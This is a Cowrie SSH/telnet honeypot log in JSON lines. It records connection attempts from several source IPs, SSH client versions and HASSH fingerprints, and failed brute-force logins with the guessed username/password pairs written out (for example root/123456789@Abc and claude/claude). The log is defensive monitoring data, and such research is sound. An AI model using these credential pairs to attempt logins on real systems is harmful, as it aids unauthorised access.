{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37694,"dst_ip":"10.17.0.5","dst_port":23,"session":"64c9d87201a1","protocol":"telnet","message":"New connection: 192.119.13.58:37694 (10.17.0.5:23) [session: 64c9d87201a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:25.050867Z"}
{"eventid":"cowrie.session.closed","duration":0.005554676055908203,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:25.056286Z","src_ip":"192.119.13.58","session":"64c9d87201a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.712212562561035,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:29.509464Z","src_ip":"192.119.13.58","session":"854b38d5441a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.46577453613281,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:29.532081Z","src_ip":"192.119.13.58","session":"fe62157f381c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36272,"dst_ip":"10.17.0.5","dst_port":23,"session":"31f5a556c932","protocol":"telnet","message":"New connection: 192.119.13.58:36272 (10.17.0.5:23) [session: 31f5a556c932]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:31.288090Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36668,"dst_ip":"10.17.0.5","dst_port":23,"session":"352e93710e89","protocol":"telnet","message":"New connection: 192.119.13.58:36668 (10.17.0.5:23) [session: 352e93710e89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:31.368518Z"}
{"eventid":"cowrie.session.closed","duration":43.48754858970642,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:33.120428Z","src_ip":"192.119.13.58","session":"50735c1c9f6d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":59750,"dst_ip":"10.17.0.5","dst_port":23,"session":"65448bceb395","protocol":"telnet","message":"New connection: 192.119.13.58:59750 (10.17.0.5:23) [session: 65448bceb395]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:36.662068Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33152,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6dccabdac45","protocol":"telnet","message":"New connection: 192.119.13.58:33152 (10.17.0.5:23) [session: b6dccabdac45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:37.037819Z"}
{"eventid":"cowrie.session.connect","src_ip":"116.110.11.66","src_port":54890,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e7c9073e762","protocol":"ssh","message":"New connection: 116.110.11.66:54890 (159.203.135.109:22) [session: 5e7c9073e762]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:38.115846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:38.119958Z","src_ip":"116.110.11.66","session":"5e7c9073e762","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:38.376820Z","src_ip":"116.110.11.66","session":"5e7c9073e762","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.2639262676239,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:38.726099Z","src_ip":"192.119.13.58","session":"d475a91a8b2d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.781222343444824,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:38.995451Z","src_ip":"192.119.13.58","session":"b2810398446c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"system","password":"OkwKcECs8qJP2Z","message":"login attempt [system/OkwKcECs8qJP2Z] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:39.188787Z","src_ip":"116.110.11.66","session":"5e7c9073e762","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43166,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ef01fdda1e1","protocol":"telnet","message":"New connection: 192.119.13.58:43166 (10.17.0.5:23) [session: 6ef01fdda1e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:39.360679Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49422,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5148b7afcc6","protocol":"telnet","message":"New connection: 192.119.13.58:49422 (10.17.0.5:23) [session: a5148b7afcc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:40.714884Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51282,"dst_ip":"10.17.0.5","dst_port":23,"session":"d91997751ef6","protocol":"telnet","message":"New connection: 192.119.13.58:51282 (10.17.0.5:23) [session: d91997751ef6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:41.199278Z"}
{"eventid":"cowrie.session.closed","duration":40.090248584747314,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:42.745132Z","src_ip":"192.119.13.58","session":"58177dc72d3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33618,"dst_ip":"10.17.0.5","dst_port":23,"session":"58c2ecbbcc20","protocol":"telnet","message":"New connection: 192.119.13.58:33618 (10.17.0.5:23) [session: 58c2ecbbcc20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:43.702778Z"}
{"eventid":"cowrie.session.closed","duration":34.44283962249756,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:48.796877Z","src_ip":"192.119.13.58","session":"47ddc272cec4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.846917152404785,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:49.705573Z","src_ip":"192.119.13.58","session":"d469289d2dc6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.194132566452026,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:49.767256Z","src_ip":"192.119.13.58","session":"cd0f97da3b07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37514,"dst_ip":"10.17.0.5","dst_port":23,"session":"a9c5d5778f29","protocol":"telnet","message":"New connection: 192.119.13.58:37514 (10.17.0.5:23) [session: a9c5d5778f29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:51.215096Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44032,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0fb3b6cba2f","protocol":"telnet","message":"New connection: 192.119.13.58:44032 (10.17.0.5:23) [session: b0fb3b6cba2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:52.690898Z"}
{"eventid":"cowrie.session.connect","src_ip":"115.68.226.124","src_port":48130,"dst_ip":"10.17.0.5","dst_port":22,"session":"499b8c54d8c6","protocol":"ssh","message":"New connection: 115.68.226.124:48130 (10.17.0.5:22) [session: 499b8c54d8c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:54.005225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:54.011112Z","src_ip":"115.68.226.124","session":"499b8c54d8c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:54.351533Z","src_ip":"115.68.226.124","session":"499b8c54d8c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789@Abc","message":"login attempt [root/123456789@Abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:55.208874Z","src_ip":"115.68.226.124","session":"499b8c54d8c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":41834,"dst_ip":"10.17.0.5","dst_port":22,"session":"da4c60018dd6","protocol":"ssh","message":"New connection: 194.113.233.25:41834 (10.17.0.5:22) [session: da4c60018dd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:55.639720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:55.644845Z","src_ip":"194.113.233.25","session":"da4c60018dd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:55.738711Z","src_ip":"194.113.233.25","session":"da4c60018dd6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfvfgfgf","message":"login attempt [root/vfvfgfgf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:56.246204Z","src_ip":"194.113.233.25","session":"da4c60018dd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:56.412042Z","src_ip":"115.68.226.124","session":"499b8c54d8c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.43308138847351,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:56.913930Z","src_ip":"192.119.13.58","session":"bc55e45227ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.40720057487488,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:57.284543Z","src_ip":"192.119.13.58","session":"f539b54718b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:57.343524Z","src_ip":"194.113.233.25","session":"da4c60018dd6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.91706395149231,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:57.536786Z","src_ip":"192.119.13.58","session":"1860616fabfa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.552743673324585,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:53:58.730442Z","src_ip":"192.119.13.58","session":"615d6e20c5c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"40.83.182.122","src_port":53530,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c8db8787cc9","protocol":"ssh","message":"New connection: 40.83.182.122:53530 (10.17.0.5:22) [session: 1c8db8787cc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:01.524632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:01.529419Z","src_ip":"40.83.182.122","session":"1c8db8787cc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:01.606652Z","src_ip":"40.83.182.122","session":"1c8db8787cc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.22786092758179,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:01.730366Z","src_ip":"192.119.13.58","session":"6399c3348ea0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"David","message":"login attempt [root/David] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:01.958526Z","src_ip":"40.83.182.122","session":"1c8db8787cc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.715271949768066,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:02.083657Z","src_ip":"192.119.13.58","session":"352e93710e89","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:03.039552Z","src_ip":"40.83.182.122","session":"1c8db8787cc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.69114947319031,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:03.649379Z","src_ip":"192.119.13.58","session":"78367cd8a4aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.777515172958374,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:05.065515Z","src_ip":"192.119.13.58","session":"31f5a556c932","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.164.9.74","src_port":47976,"dst_ip":"10.17.0.5","dst_port":22,"session":"68a8554fef67","protocol":"ssh","message":"New connection: 103.164.9.74:47976 (10.17.0.5:22) [session: 68a8554fef67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:06.743798Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:06.748386Z","src_ip":"103.164.9.74","session":"68a8554fef67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:06.940092Z","src_ip":"103.164.9.74","session":"68a8554fef67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:07.734800Z","src_ip":"103.164.9.74","session":"68a8554fef67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54728,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e5aa5ace551","protocol":"telnet","message":"New connection: 192.119.13.58:54728 (10.17.0.5:23) [session: 6e5aa5ace551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:08.380388Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:08.928876Z","src_ip":"103.164.9.74","session":"68a8554fef67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":43102,"dst_ip":"10.17.0.5","dst_port":22,"session":"90c551d99b2f","protocol":"ssh","message":"New connection: 94.159.98.239:43102 (10.17.0.5:22) [session: 90c551d99b2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:54:11.261225Z"}
